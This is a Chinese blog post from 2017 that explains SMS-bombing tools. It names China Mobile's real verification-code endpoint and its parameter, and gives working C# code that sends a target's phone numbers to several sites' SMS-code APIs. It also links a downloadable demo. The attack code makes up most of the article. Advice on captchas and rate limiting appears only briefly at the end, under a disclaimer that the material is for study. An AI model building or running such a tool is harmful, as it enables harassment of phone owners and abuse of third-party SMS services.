首页 > 技术文章 > 短信轰炸工具原理解析

zknu 2017-06-18 22:57 原文

温馨提示:本文文章紧作为学习探讨,不能用于破坏攻击用途,后果自负。文章后面有Demo源码下载,使用C#语言开发。

  相信不少人都莫名奇妙收过一些注册验证码短信、登录验证码短信,自己没去注册也没登录,甚至有些人无缘无故收到大量的各种网站的验证码短信。遇到这种情况,要么是有人注册填错了号码,要么就是你得罪了什么人被恶搞报复了,前者的可能性很少,填错号码注册也不会收到大量的短信;后者的情况是别人利用一种叫短信轰炸机的工具轰炸你,这种工具有桌面版的,也有网页版的,功能原理都差不多,输入一个号码,就可以对这个号码狂发短信了。

  在这里建议大家不要用短信轰炸别人,害人害己,我们只作探讨学习。

一、短信轰炸接口的来源

  短信接口的来源都来自于各种网站的注册、登录时发送手机验证码的地方。

二、短信轰炸的原理

  短信轰炸其实就是把你要轰炸的手机号码到各种各样的发验证码的地方提交请求,然后由各个网站的短信服务商给你发送验证码短信,所以会不断收到各种各样的短信,给你发送的号码都不是同一号码,当然不好拦截了。

三、效果预览

  先看看Demo的效果

  

四、网站发送短信接口分析

  想要拿到一个网站的短信发送接口,当然我们得去抓这个网站的包,分析它交互的过程。这里介绍大家个抓包工具Fiddler,用来分析客户端和服务器之间的所有Http请求,分析请求数据、设置断点等等,它的功能我在这里就不多说了,好处多多。当然对于简单的在网页上访问也可以利用浏览器自有的插件,各大浏览器上按F12都能看到http请求的过程。

  今天我拿中国移动的登录网站作为例子,当然中国移动的网站能发验证码的只有移动的手机号码了。

1.首先打开中国移动的网站地址http://www.10086.cn,在头部导航栏找到登录入口,这里我们选择登录网上营业厅

2.进入到登录页面(https://gd.ac.10086.cn/ucs/ucs/weblogin.jsps?backURL=http://gd.10086.cn/commodity/index.shtml),然后选择动态密码模式登录。输入一个手机号码,先按F12把浏览器调试工具先弄出来(我这里用的是谷歌浏览器),选中network模式,填一个手机号码然后点击获取短信,如下图

3.上图中,4标注就是我们要查看的获取短信的接口地址,点击查看可以看到接口的地址为(https://gd.ac.10086.cn/ucs/ucs/getSmsCode.jsps),提交的方式为POST方式,拉到底下可以看到提交的参数为mobile。

 

 

 五、主要代码部分

1.定义Post请求函数,用于网页中点击发送短信的模拟调用

 public static string PostRequest(string Url,string Str_Msg)
        {
            HttpWebRequest req = (HttpWebRequest)WebRequest.Create(Url);
            req.Method = "POST";
            req.KeepAlive = true;
            req.UserAgent = "MSIE";
            req.Timeout = 300000;
            req.ContentType = "application/x-www-form-urlencoded;charset=utf-8";
            byte[] postData = Encoding.UTF8.GetBytes(Str_Msg);
            Stream reqStream = req.GetRequestStream();
            reqStream.Write(postData, 0, postData.Length);
            reqStream.Close();
            HttpWebResponse rsp = (HttpWebResponse)req.GetResponse();
            Encoding encoding = Encoding.UTF8;
            Stream stream = null;
            StreamReader reader = null;
            stream = rsp.GetResponseStream();
            reader = new StreamReader(stream, encoding);
            string result = reader.ReadToEnd();
            if (reader != null) reader.Close();
            if (stream != null) stream.Close();
            if (rsp != null) rsp.Close();
            return result;
        }
View Code

2.短信接口调用示例

 /// <summary>
        /// 10086接口 
        /// </summary>
        /// <param name="Phone"></param>
        private void Send10086Code(string Phone)
        {
            string Result_Msg = "失败";
            string Url = "https://gd.ac.10086.cn/ucs/ucs/getSmsCode.jsps";
            string param = "mobile="+Phone;
            string result_Msg = Helper.HttpHelper.PostRequest(Url, param);
            if (!string.IsNullOrEmpty(result_Msg))
            { 
                //成功返回的数据 {"backUrl":"","failMsg":"成功[0]","returnCode":"1000"}
                if (result_Msg.Contains("成功[0]"))
                {
                    Result_Msg = " 10086网站验证码发送成功";
                }
            }
            this.BeginInvoke((Action)(delegate()
            {
                rTB_ResultMsg.Text += "号码:" + Phone + Result_Msg + "\r\n";
                btn_Send.Enabled = true;
            }));
        }
View Code

3.统一调用函数

  private void SendPhoneSMS(string Phone)
        {

            ((Action)(delegate()
            {
                this.BeginInvoke((Action)(delegate()
                {
                    btn_Send.Enabled = false;
                }));
                bool bol=true;
                while (bol)
                {
                    SendO2Code(Phone);
                    Send10086Code(Phone);
                    bol = false;
                }
                /*
                 这是其中两个网站发送验证码
                 */
                this.BeginInvoke((Action)(delegate()
                {
                    rTB_ResultMsg.Text += "号码:" + Phone + " 发送完毕!\r\n";
                    btn_Send.Enabled = true;
                }));
            })).BeginInvoke(null, null);
        }
View Code

4.主入口,点击发送时调用函数

 private void btn_Send_Click(object sender, EventArgs e)
        {
            string phones = rTB_Phones.Text.Trim();
            if (string.IsNullOrEmpty(phones))
            {
                MessageBox.Show("请输入手机号码");
                return;
            }
            string[] list = phones.Trim().Split(',');
            if (null != list && list.Length > 0)
            {
                for (int i = 0; i < list.Length; i++)
                {
                    try
                    {
                        SendPhoneSMS(list[i]);
                    }
                    catch
                    {

                    }
                }
            }
        }
View Code

六、论短信接口的防范

  以上就是短信轰炸工具的原理,短信工具通过收集网上非常多的短信接口,轰炸工具会想所有这些接口发送请求,就会像潮水般向被攻击手机发送短信,既然我们懂得了短信轰炸的原理,那么我们的网站想不被恶意利用,就需要对短信发送接口采取保护措施。

  针对上面的情况,和体验了一些大平台短信接口的方式,建议采取以下保护措施:

1.获取短信验证码前,必须加入图形校验码控制,或者采用问答图形校验,或者以滑动块状的形式校验,反正就是阻挠程序自动提交的请求。

2.定期更换图形验证码生成机制,以变应不变,图形验证码尽量加干扰以防OCR识别。

3针对单个手机号码一时间段内短信发送次数

4.限定来源IP的接口请求次数或频率

 

以上措施仅仅是一定程度上的保护,并非能完完全全杜绝被利用,构建和谐社会还得靠大家共同努力,如果你有更好的方法欢迎留言和大家分享一下。

温馨提示:本文文章紧作为学习探讨,不能用于破坏攻击用途,后果自负。

Demo源码地址:http://download.csdn.net/download/kun3199317/9873954

推荐阅读